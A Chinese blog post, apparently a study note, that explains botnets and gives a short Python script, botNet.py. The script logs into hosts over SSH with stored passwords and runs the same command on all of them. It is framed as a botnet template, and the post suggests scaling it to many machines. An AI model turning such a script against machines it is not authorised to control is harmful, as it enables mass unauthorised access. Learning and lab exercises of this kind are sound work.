实现botNet,其实很简单

关于python实现botNet

Info:由于书本上的例子无法实现远程SSH,收集了一些大神写的例子,结合书本上代码性能的优点,自己把最终的实现记录了下来,难免忘记:

注: 还是半月更一次博客,现在更新得太频繁(不过这几天心情不错,多写了几篇^_^)

  • botNet简介
  • 代码简介
  • 总结

botNet简介

Botnet也就是我们所说的僵尸网络,是指采用一种或多种传播手段,将大量主机感染bot程序(僵尸程序),从而在控制者和被感染主机之间所形成的一个可一对多控制的网络。 首先是一个可控制的网络,这个网络并不是指物理意义上具有拓扑结构的网络,它具有一定的分布性,随着bot程序的不断传播而不断有新位置的僵尸计算机添加到这个网络中来。
其次,这个网络是采用了一定的恶意传播手段形成的,例如主动漏洞攻击,邮件病毒等各种病毒与蠕虫的传播手段,都可以用来进行Botnet的传播,从这个意义上讲,恶意程序bot也是一种病毒或蠕虫。
最后一点,也是Botnet的最主要的特点,就是可以一对多地执行相同的恶意行为,比如可以同时对某目标网站进行分布式拒绝服务(DDos)攻击,同时发送大量的垃圾邮件等,而正是这种一对多的控制关系,使得攻击者能够以极低的代价高效地控制大量的资源为其服务,这也是Botnet攻击模式近年来受到黑客青睐的根本原因。在执行恶意行为的时候,Botnet充当了一个攻击平台的角色,这也就使得Botnet不同于简单的病毒和蠕虫,也与通常意义的木马有所不同….. —— [百度百科 ]

代码简介

botNet.py

结合了一些实例和性能,自己融合所形成的最终实例,最终代码如下:

#!/usr/bin/env python
#coding:utf-8
#author:ChaplinJ
#workFor:构建botNet的模板
import paramiko
class Client:
    def __init__(self,host,user,password):
        self.host = host
        self.user = user
        self.password = password
        self.session = self.connect()
        print ''
    def connect(self):
        try:
            s = paramiko.SSHClient()
            s.set_missing_host_key_policy(paramiko.AutoAddPolicy())
            s.connect(hostname=self.host, port=22, username=self.user, password=self.password)
            return s
        except Exception,e:
            print e
            print '[-] Error Connecting'
    def send_command(self,cmd):
        stdin, stdout, stderr = self.session.exec_command(cmd)
        stdin.write("Y")  # Generally speaking, the first connection, need a simple interaction.  
        return stdout.read()
def botNetCommand(command):
    for client in botNet:
        output = client.send_command(command)
        print '[*] Output from ' + client.host
        print '[+] ' + output + '\n'
def addClient(host,user,password):
    client = Client(host,user,password)
    botNet.append(client)
botNet=[]
def main():
    addClient('192.168.243.129', 'ChaplinJ', '123')
    botNetCommand('uname -a')
    botNetCommand('cat /etc/issue')
    print ''
if __name__ == '__main__':
    main()

总结

相信大家只要认真看一下代码就能够知道该py所完成的功能,对于学习过python的人来说应该不在话下,这也是我学习了书本上的知识与查资料所得到的代码,逻辑上结合了书本上的知识。
当我们再学习一样东西的时候,特别是计算机方面的东西,有可能它并不能作用于你当前实验环境,毕竟书本上很多知识更新得不是太快,这个时候就需要结合一些东西 柔和成自己的一个代码,记录下来。
botNet.py的main()函数中的addClient(‘192.168.243.129’, ‘ChaplinJ’, ‘123’)是一个简单的实例,实际的操作中我们操作的机器可能会有成千上百台,这里就设计到文件的读写,需要一些额外的参数,如果要把它作为一个实际上的工具更需要额外的工具,我想这些简单的实现大家应该能够做。做个工具集,应该对大家来说应该不难。

差不多就是这样。

你可能感兴趣的:(python,网络安全)